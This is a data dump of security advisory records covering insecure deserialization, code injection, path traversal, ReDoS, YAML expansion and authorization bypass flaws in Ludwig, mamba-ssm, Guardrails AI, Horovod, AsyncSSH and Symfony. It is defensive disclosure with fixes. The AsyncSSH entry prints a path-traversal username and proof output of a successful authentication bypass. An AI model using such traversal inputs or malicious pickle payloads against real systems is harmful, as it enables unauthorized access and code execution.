[{'package': {'name': 'ludwig', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 0.10.4'}]

{'score': 9.8, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

[{'name': 'Deserialization of Untrusted Data', 'cwe_id': 'CWE-502'}]

e8071872e2613380bc73967743b171f1f096efdc1f46793b1b6b1ce8416e6d29

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-xp5q-5q7g-q26r

CVE-2026-31238

Ludwig framework is vulnerable to insecure deserialization in its model serving component

The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) in its model serving component. When starting a model server with the ludwig serve command, the framework loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a maliciously crafted PyTorch model file, leading to arbitrary code execution on the system hosting the Ludwig model server.

critical

2026-05-12 21:30:41+03:00

2026-05-28 01:17:16+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31238', 'https://github.com/ludwig-ai/ludwig', 'https://www.notion.so/CVE-2026-31238-35d1e1393188819ea77ee98ca85a2878', 'https://github.com/advisories/GHSA-xp5q-5q7g-q26r']

[{'package': {'name': 'ludwig', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 0.10.4'}]

{'score': 9.8, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

[{'name': 'Deserialization of Untrusted Data', 'cwe_id': 'CWE-502'}]

8a6a222f4051d92b32b096123fec065adc53a4b4d8e3d87a6220f1d30c6749ef

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-pq2f-x424-6fjm

CVE-2026-31239

mamba language model framework vulnerable to insecure deserialization when loading pre-trained models from HuggingFace Hub

The mamba language model framework thru 2.2.6 is vulnerable to insecure deserialization (CWE-502) when loading pre-trained models from HuggingFace Hub. The MambaLMHeadModel.from_pretrained() method uses torch.load() to load the pytorch_model.bin weight file without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by publishing a malicious model repository on HuggingFace Hub. When a victim loads a model from this repository, arbitrary code is executed on the victim's system in the context of the mamba process.

critical

2026-05-12 21:30:41+03:00

2026-05-28 01:09:56+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31239', 'https://github.com/state-spaces/mamba', 'https://www.notion.so/CVE-2026-31239-35d1e1393188810d9baedfbd8363f396', 'https://github.com/advisories/GHSA-pq2f-x424-6fjm']

[{'package': {'name': 'mamba-ssm', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 2.2.6'}]

{'score': 9.8, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

[{'name': 'Deserialization of Untrusted Data', 'cwe_id': 'CWE-502'}]

efab8e82c88568c3cc8df08087b7043dcc4e931c3111cb09bc9783626e0227df

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-r6hf-g5x6-7pv9

CVE-2026-31233

Guardrails AI contains a code injection vulnerability in its Hub package installation mechanism

Guardrails AI thru 0.6.7 contains a code injection vulnerability (CWE-94) in its Hub package installation mechanism. When installing validator packages via guardrails hub install, the system retrieves a manifest from the Guardrails Hub and dynamically executes a script specified in the post_install field. The script path is constructed from untrusted manifest data and executed without proper validation or sanitization, allowing remote code execution. An attacker who can publish malicious packages to the Hub can inject arbitrary code that will be executed on any system where a victim installs the malicious package.

critical

2026-05-12 21:30:40+03:00

2026-05-28 01:03:05+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31233', 'https://github.com/guardrails-ai/guardrails', 'https://www.notion.so/CVE-2026-31233-35d1e13931888142a954fb3f50ee0c94', 'https://github.com/advisories/GHSA-r6hf-g5x6-7pv9']

[{'package': {'name': 'guardrails-ai', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 0.6.7'}]

{'score': 9.8, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

[{'name': "Improper Control of Generation of Code ('Code Injection')", 'cwe_id': 'CWE-94'}]

2896305e3d4bed0a2146aa6e603c272e4f271168f7d452427f02ebd9343da114

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-mf8f-x4r3-jm8c

CVE-2026-31234

Horovod contains an insecure deserialization vulnerability in its KVStore HTTP server component

Horovod thru 0.28.1 contains an insecure deserialization vulnerability (CWE-502) in its KVStore HTTP server component. The KVStore server, used for distributed task coordination, lacks authentication and authorization controls, allowing any remote attacker to write arbitrary data via HTTP PUT requests. When a Horovod worker reads data from the KVStore (via HTTP GET), it deserializes the data using cloudpickle.loads() without verifying its source or integrity. An attacker can exploit this by sending a malicious pickle payload to the server before the legitimate data is written, causing the victim worker to deserialize and execute arbitrary code, leading to remote code execution.

critical

2026-05-12 21:30:40+03:00

2026-05-28 00:45:20+03:00

['https://nvd.nist.gov/vuln/detail/CVE-2026-31234', 'https://github.com/horovod/horovod', 'https://www.notion.so/CVE-2026-31234-35d1e139318881d585cde508b9d2453c', 'https://github.com/advisories/GHSA-mf8f-x4r3-jm8c']

[{'package': {'name': 'horovod', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 0.28.1'}]

{'score': 9.8, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H'}

[{'name': 'Deserialization of Untrusted Data', 'cwe_id': 'CWE-502'}]

289402e76a3abf34950c95e9a71267e5b4addd50514b743e2d2b7d8b5ad8409a

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-g794-3fmp-753h

CVE-2026-45309

AsyncSSH `AuthorizedKeysFile %u` path traversal allows attacker-selected authorized keys to authenticate a traversal username

## Summary AsyncSSH 2.22.0 expands the OpenSSH-compatible `AuthorizedKeysFile` `%u` token with the raw SSH username during pre-authentication server config reload. A server configured with a documented per-user key pattern such as `AuthorizedKeysFile authorized_keys/%u` can be made to read an authorized-keys file outside the intended directory when the SSH username contains path traversal segments. If the attacker can place or reference a readable authorized-keys-format file containing their public key, the attacker can authenticate over SSH as the traversal username. ## Affected Product - Package: asyncssh - Ecosystem: pip - Affected versions: confirmed on 2.22.0; exact lower bound not finalized - Tested version: 2.22.0 - Audit commit/tag: tag `v2.22.0`, commit `af5a81e669633d83d535163f93b6bf3f957c9238` - PyPI sdist SHA256: `c3ce72b01be4f97b40e62844dd384227e5ff5a401a3793007c42f86a5c8eb537` ## Vulnerability Details - CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory - Component: AsyncSSH server config reload and public-key authentication (`asyncssh/config.py`, `asyncssh/connection.py`, `asyncssh/auth_keys.py`, `asyncssh/misc.py`) - Root cause: `%u` in `AuthorizedKeysFile` is expanded from the remote username without rejecting path separators or `..` segments, and the resulting path is opened without constraining it to the intended authorized-keys directory. - Security boundary violated: the configured authorized-keys directory and public-key authentication trust boundary. - Direct impact: public-key authentication succeeds using an attacker-selected authorized-keys file outside the intended directory. - Chain impact, if any: none claimed; direct authentication impact is primary. ## Attack Preconditions - The AsyncSSH server uses a config or equivalent pattern where `AuthorizedKeysFile` contains `%u`, for example `AuthorizedKeysFile authorized_keys/%u`. - Public-key authentication is enabled. - The attacker can place or reference a readable authorized-keys-format file outside the intended directory, such as a file in a world-writable or application-writable location. - The application does not separately reject usernames containing `/`, `\`, or `..` before AsyncSSH uses the username for key-file selection. ## Reproduction The run-scoped evidence contains a safe localhost proof: 1. Start the proof harness saved at [harness_app.py](https://github.com/user-attachments/files/27232526/harness_app.py) 2. Run [exploit_proof.py](https://github.com/user-attachments/files/27232538/exploit_proof.py) through [run_proof.sh](https://github.com/user-attachments/files/27232545/run_proof.sh) 3. The harness creates `sshd_config` with `AuthorizedKeysFile authorized_keys/%u`, writes the attacker's public key to a file outside `authorized_keys/`, starts a real AsyncSSH server, and attempts two SSH logins. 4. Expected result: the normal username `victim` fails, while the traversal username authenticates with the same attacker key. Observed proof output: ```text [CONTROL] username=victim success=False [ATTACK] username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub success=True [ATTACK] output=AUTH_BYPASS_SUCCESS username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub PASS: traversal username authenticated with attacker-controlled authorized_keys file ```

medium

2026-05-28 00:35:06+03:00

2026-05-28 00:35:07+03:00

['https://github.com/ronf/asyncssh/security/advisories/GHSA-g794-3fmp-753h', 'https://github.com/advisories/GHSA-g794-3fmp-753h']

[{'package': {'name': 'asyncssh', 'ecosystem': 'pip'}, 'vulnerable_functions': [], 'first_patched_version': '2.23.0', 'vulnerable_version_range': '= 2.22.0'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", 'cwe_id': 'CWE-22'}]

18b99d49ad4fb9addeede3379418cd730302ed1ca95ea488dd61d1eaa7338975

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-9frc-8383-795m

CVE-2026-45305

Symfony's YAML Parser has a ReDoS via Catastrophic Backtracking in Parser::cleanup() Regex

### Description `Symfony\Component\Yaml\Parser::cleanup()` strips the optional `%YAML` directive header, leading comments, and document start/end markers before parsing. The original regexes contained overlapping quantifiers, most notably `'#^%YAML[: ][\d.]+.*\n#u'`, whose `[\d.]+` and `.*` overlap on the dot, that exhibit catastrophic backtracking on crafted input. A single oversized `%YAML` directive header (or comment / document-marker line) makes the parser hang for an arbitrarily long time, denying service. ### Resolution The four regexes in `Parser::cleanup()` (YAML directive header, leading comments, document-start marker, document-end marker) have been rewritten with possessive quantifiers and unambiguous character classes so backtracking cannot occur. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/9749cd43c5e09b3735093623670b21b9d8a056cb) for branch 5.4. ### Credits Symfony would like to thank Pietro Tirenna (Shielder) for reporting the issue and Nicolas Grekas for fixing it.

low

2026-05-28 00:34:35+03:00

2026-05-28 00:34:38+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-9frc-8383-795m', 'https://github.com/symfony/symfony/commit/9749cd43c5e09b3735093623670b21b9d8a056cb', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45305.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/yaml/CVE-2026-45305.yaml', 'https://symfony.com/cve-2026-45305', 'https://github.com/advisories/GHSA-9frc-8383-795m']

[{'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Inefficient Regular Expression Complexity', 'cwe_id': 'CWE-1333'}]

f4bb0d5ab8cfd3409f0a0c9cbce4b1e8f641f4ef0c968bd4995be83ded7da892

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-4qpc-3hr4-r2p4

CVE-2026-45304

Symfony's YAML Parser Vulnerable to Exponential Memory Allocation via Recursive Collection-Alias Expansion ("Billion Laughs")

### Description `Symfony\Component\Yaml\Parser` resolves YAML aliases (`*anchor`) during parsing. Aliases that reference *collections* (arrays, `stdClass`, `TaggedValue`-wrapped collections) can themselves point to other collections containing aliases, creating exponential expansion at resolution time. A small input can blow up into a multi-gigabyte structure and exhaust memory: the classic "Billion Laughs" denial-of-service against any parser exposed to untrusted YAML. ### Resolution The `Parser` now counts collection alias resolutions in a shared `ParserState` object, with a default limit of **128**, following the [SnakeYAML model](https://github.com/snakeyaml/snakeyaml/blob/master/src/main/java/org/yaml/snakeyaml/LoaderOptions.java). Scalar aliases remain unrestricted since they cannot drive exponential growth. The limit is configurable via a new `$maxAliasesForCollections` argument on `Parser::__construct()`, `Yaml::parse()` and `Yaml::parseFile()`. A new `Yaml::PARSE_EXCEPTION_ON_ALIAS` flag also rejects all aliases outright when parsing fully untrusted input. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/e77391b2e4f18821198f010d573674c8ed4a970a) for branch 5.4. ### Credits Symfony would like to thank Pietro Tirenna (Shielder) for reporting the issue and Nicolas Grekas for fixing it.

low

2026-05-28 00:33:50+03:00

2026-05-28 00:33:52+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-4qpc-3hr4-r2p4', 'https://github.com/symfony/symfony/commit/e77391b2e4f18821198f010d573674c8ed4a970a', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45304.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/yaml/CVE-2026-45304.yaml', 'https://symfony.com/cve-2026-45304', 'https://github.com/advisories/GHSA-4qpc-3hr4-r2p4']

[{'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': "Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')", 'cwe_id': 'CWE-776'}]

df1dbe5496edd6a56788f07d8428a8e7e5084e86f7b44acc59717c05714734ff

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-c2p3-7m5p-cv8x

CVE-2026-45133

Symfony hardened the parser when handling untrusted input

### Description `Symfony\Component\Yaml\Parser` is the entry point for parsing YAML strings into PHP values via `Yaml::parse()`. When the parser is exposed to attacker-controlled input, deeply nested mappings or sequences cause both the block-level (`Parser::parseBlock()`) and inline (`Inline::parseSequence()` / `Inline::parseMapping()`) parsers to recurse without a depth limit. A crafted document exhausts the PHP stack and crashes the worker. ### Resolution The `Parser` now tracks recursion depth in a shared `ParserState` object across both block-level and inline parsing, with a default limit of **128**. The limit is configurable via a new `$maxNestingLevel` argument on `Parser::__construct()`, `Yaml::parse()` and `Yaml::parseFile()`. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/914f427ed9630ddb3904dafba763e53d9f133fe3) for branch 5.4. ### Credits Symfony would like to thank Pietro Tirenna (Shielder) for reporting the issue and Nicolas Grekas for fixing it.

low

2026-05-28 00:33:07+03:00

2026-05-28 00:33:09+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-c2p3-7m5p-cv8x', 'https://github.com/symfony/symfony/commit/914f427ed9630ddb3904dafba763e53d9f133fe3', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45133.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/yaml/CVE-2026-45133.yaml', 'https://symfony.com/cve-2026-45133', 'https://github.com/advisories/GHSA-c2p3-7m5p-cv8x']

[{'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/yaml', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Uncontrolled Recursion', 'cwe_id': 'CWE-674'}, {'name': "Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')", 'cwe_id': 'CWE-776'}, {'name': 'Inefficient Regular Expression Complexity', 'cwe_id': 'CWE-1333'}]

226218fbc51567d72e525a8a765ad177c91694a3e18832bb526f02e8ff8bd9f2

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-m7v2-7gxm-vc2v

CVE-2026-45077

Symfony has Unauthenticated PHP Object Deserialization in MonologBridge server:log Listener

### Description `Symfony\Bridge\Monolog\Command\ServerLogCommand` (the `server:log` console command) is a development-time helper that opens a TCP listener and displays log records pushed to it by the application's logging pipeline. Two unsafe defaults combine into a remotely reachable PHP object-deserialization sink: 1. The listener binds to `0.0.0.0:9911` by default; it accepts connections on every interface, not only loopback. 2. Each received frame is processed as `unserialize(base64_decode($message))` without an `allowed_classes` allowlist, without authentication, and without any integrity check. The decoded value is then passed to `displayLog(..., array $record)` which assumes (without validating) that the result is an array. Any host that can reach TCP port 9911 on a machine running `server:log` can therefore submit attacker-chosen serialized PHP payloads. The minimum impact is an unauthenticated denial of service (sending a non-array, e.g. `serialize(new stdClass())`, crashes the listener with a type error). Object injection with magic-method side effects (`__wakeup()` / `__destruct()` / etc.) is reachable before the array type-check fires; full remote code execution is environment-dependent and contingent on usable gadget chains in the autoload set of the target process. ### Resolution The `server:log` command no longer binds to all interfaces by default: the default `--host` is now `127.0.0.1:9911`, requiring explicit opt-in to accept off-host traffic. Message decoding is gated by an `unserialize()` allowlist restricted to the `Symfony\Component\VarDumper\Caster\*` and `Symfony\Component\VarDumper\Cloner\*` classes that legitimately appear inside dumped log records; any other class is rejected and the record discarded. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/0891b2f293896c488e26943dc034334364b77fc4) for branch 5.4. ### Credits Symfony would like to thank Toàn Thắng and Sam Sanoop for reporting the issue and Nicolas Grekas for fixing it.

high

2026-05-28 00:13:29+03:00

2026-05-28 00:13:31+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-m7v2-7gxm-vc2v', 'https://github.com/symfony/symfony/commit/0891b2f293896c488e26943dc034334364b77fc4', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/monolog-bridge/CVE-2026-45077.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45077.yaml', 'https://symfony.com/cve-2026-45077', 'https://github.com/advisories/GHSA-m7v2-7gxm-vc2v']

[{'package': {'name': 'symfony/monolog-bridge', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '5.4.52', 'vulnerable_version_range': '< 5.4.52'}, {'package': {'name': 'symfony/monolog-bridge', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/monolog-bridge', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/monolog-bridge', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '6.4.40', 'vulnerable_version_range': '>= 6.0.0, < 6.4.40'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.0.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Deserialization of Untrusted Data', 'cwe_id': 'CWE-502'}, {'name': 'Exposure of Resource to Wrong Sphere', 'cwe_id': 'CWE-668'}]

1d12ad4dbbb6af12240b0fa40357b569bf7bd711b7119b3ca843f43405a47350

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-6439-2f28-8p8q

CVE-2026-45075

Synfony's HEAD Request Bypasses methods: ['GET'] Filter in #[IsGranted] / #[IsSignatureValid] / #[IsCsrfTokenValid]

### Description Symfony's `#[IsGranted('...')]`, `#[IsSignatureValid]`, and `#[IsCsrfTokenValid(...)]` attributes allow you to define a `methods: [...]` argument to only enforce these checks for the listed HTTP methods and skip them otherwise. E.g. an attribute defining `methods: ['GET']` would be ignored for a `HEAD` request. On the other hand, Symfony's router (and HTTP semantics generally) serves `HEAD` requests using the `GET` handler. Therefore, a controller protected by e.g. `#[IsGranted('ROLE_ADMIN', methods: ['GET'])]` can be reached via `HEAD` with the authorization check silently skipped. Even if the `HEAD` request won't get any response content, response headers leak (`Content-Length`, `Location`, custom headers). Also, the controller still executes and any side effects (DB writes, state changes) occur. ### Resolution When adding `GET` in the `methods` option of these attributes, Symfony now also include the `HEAD` method automatically. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/fa8d5c67aa4b22c9656e3fd7d5c3aa59865bf838) for branch 7.4. ### Credits Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and Alexandre Daubois for fixing it.

medium

2026-05-28 00:12:38+03:00

2026-05-28 00:12:39+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-6439-2f28-8p8q', 'https://github.com/symfony/symfony/commit/fa8d5c67aa4b22c9656e3fd7d5c3aa59865bf838', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/http-kernel/CVE-2026-45075.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security-http/CVE-2026-45075.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45075.yaml', 'https://symfony.com/cve-2026-45075', 'https://github.com/advisories/GHSA-6439-2f28-8p8q']

[{'package': {'name': 'symfony/http-kernel', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.4.0, < 7.4.12'}, {'package': {'name': 'symfony/http-kernel', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.4.0, < 7.4.12'}, {'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.4.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Incorrect Authorization', 'cwe_id': 'CWE-863'}]

120e736a789371287cfc63d07983e0b3d71fb022fadab8a656dc8a4b5af588da

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-j8gj-9rm5-4xhx

CVE-2026-45074

Symfony's Cas2Handler Derives CAS service URL from Client Host Header → Cross-Service Ticket Replay

`Cas2Handler` builds this `service` parameter from `Request::getSchemeAndHttpHost()`, which reflects the attacker-controlled HTTP `Host` header whenever Symfony's `framework.trusted_hosts` setting is not configured (the default). An attacker who controls any *other* application registered with the same CAS server can replay a victim's ticket against the Symfony application, with a spoofed `Host` header, and be authenticated as that victim. ### Resolution A new required `service_url` configuration option is introduced on `Cas2Handler`. The CAS `service` parameter sent to the validation endpoint is now built from this configured URL instead of being derived from the request's `Host` header, preventing cross-service ticket replay via Host header spoofing. The patch for this issue is available [here](https://github.com/symfony/symfony/commit/5ba145dba702404801bdf9e7e8d6df170060d541) for branch 7.4. ### Credits Symfony would like to thank Claude Mythos Preview (via Project Glasswing) for reporting the issue and Nicolas Grekas for providing the fix.

medium

2026-05-28 00:11:59+03:00

2026-05-28 00:12:00+03:00

['https://github.com/symfony/symfony/security/advisories/GHSA-j8gj-9rm5-4xhx', 'https://github.com/symfony/symfony/commit/5ba145dba702404801bdf9e7e8d6df170060d541', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/security-http/CVE-2026-45074.yaml', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45074.yaml', 'https://symfony.com/cve-2026-45074', 'https://github.com/advisories/GHSA-j8gj-9rm5-4xhx']

[{'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.1.0, < 7.4.12'}, {'package': {'name': 'symfony/security-http', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '7.4.12', 'vulnerable_version_range': '>= 7.1.0, < 7.4.12'}, {'package': {'name': 'symfony/symfony', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '8.0.12', 'vulnerable_version_range': '>= 8.0.0, < 8.0.12'}]

{'score': None, 'vector_string': None}

[{'name': 'Authentication Bypass by Spoofing', 'cwe_id': 'CWE-290'}]

cd7bbcf6579438181ef3479bb6b036f60bdf5b0be28c2687f7f3bc3ff2482ee8

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-6qh9-h6wf-jgqc

CVE-2026-45073

Symfony Vulnerable to SQL Injection in PdoAdapter::doClear() via Unsanitized $prefix

